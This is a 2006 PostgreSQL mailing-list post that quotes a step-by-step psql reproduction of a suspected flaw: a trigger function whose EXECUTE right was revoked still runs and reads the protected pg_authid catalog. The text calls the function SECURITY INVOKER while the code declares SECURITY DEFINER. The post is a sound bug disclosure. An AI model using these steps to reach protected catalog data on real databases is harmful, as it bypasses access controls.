Search Postgresql Archives

Re: about the RULE system

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Looks like this thread have died away.

But since this permission check looks like a security issue to me too,
I'd really apreciate someones explanation on why it is not ... if it is
not.

But if it is a security leak I'd like to pass it over as bug report - so
it does not disapear from sight.

-R

On Thu, 2006-12-14 at 12:51 +0100, Albe Laurenz wrote:
> >>> "REVOKE ALL ON FUNCTION piti() FROM PUBLIC"
> >>> 
> >>> Doe not seam to have any effect on functions installed as a trigger.
> >> 
> >> Does your "common user" have the permission to create users?
> > 
> > No (although the one I've initially tested this scenario on, was in a
> > group that did have that permission).
> [...]
> > I hope you can copy the results.
> 
> I can indeed recreate something similar here on PostgreSQL 8.1.4.
> 
> Permissions on a trigger function seem to not be checked,
> and I can execute a function for which I have no privileges.
> 
> I consider this a security leak - or am I missing something?
> 
> Here is a _complete_ example:
> 
> As superuser, create a trigger function that selects from pg_authid
> with SECURITY INVOKER, and REVOKE EXECUTE FROM public:
> 
> test=# \c test postgres
> You are now connected to database "test" as user "postgres".
> test=# CREATE OR REPLACE FUNCTION insert_oid() RETURNS trigger AS
> test-# $$BEGIN SELECT oid INTO NEW.useroid FROM pg_catalog.pg_authid
> WHERE rolname = user; RETURN NEW; END;$$
> test-# LANGUAGE plpgsql STABLE STRICT SECURITY DEFINER;
> CREATE FUNCTION
> test=# REVOKE EXECUTE ON FUNCTION insert_oid() FROM public;
> REVOKE
> test=# SELECT proacl FROM pg_catalog.pg_proc WHERE proname =
> 'insert_oid';
>         proacl      
> -----------------------
>  {postgres=X/postgres}
> (1 row)
> 
> As normal user, try to execute the function or select from
> pg_catalog.pg_authid directly, both fail as expected.
> 
> test=# \c test laurenz
> You are now connected to database "test" as user "laurenz".
> test=> SELECT insert_oid();
> ERROR:  permission denied for function insert_oid
> test=> SELECT oid FROM pg_catalog.pg_authid WHERE rolname = user;
> ERROR:  permission denied for relation pg_authid
> 
> Create a temporary table, define a trigger BEFORE INSERT using the
> function that we cannot execute:
> 
> test=> CREATE TEMP TABLE lautest (id integer PRIMARY KEY, useroid oid
> NOT NULL);
> NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index
> "lautest_pkey" for table "lautest"
> CREATE TABLE
> test=> CREATE TRIGGER insert_oid BEFORE INSERT ON lautest FOR EACH ROW
> EXECUTE PROCEDURE insert_oid();
> CREATE TRIGGER
> 
> Insert a row into the table.
> The trigger function is executed, and I have selected a value from
> pg_authid!
> 
> test=> INSERT INTO lautest (id) VALUES (1);
> INSERT 0 1
> test=> SELECT * FROM lautest;
>  id | useroid 
> ----+---------
>   1 |      10
> (1 row)
> 
> Yours,
> Laurenz Albe
> 
> ---------------------------(end of broadcast)---------------------------
> TIP 9: In versions below 8.0, the planner will ignore your desire to
>        choose an index scan if your joining column's datatypes do not
>        match


[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Index of Archives]     [Postgresql Jobs]     [Postgresql Admin]     [Postgresql Performance]     [Linux Clusters]     [PHP Home]     [PHP on Windows]     [Kernel Newbies]     [PHP Classes]     [PHP Books]     [PHP Databases]     [Postgresql & PHP]     [Yosemite]
  Powered by Linux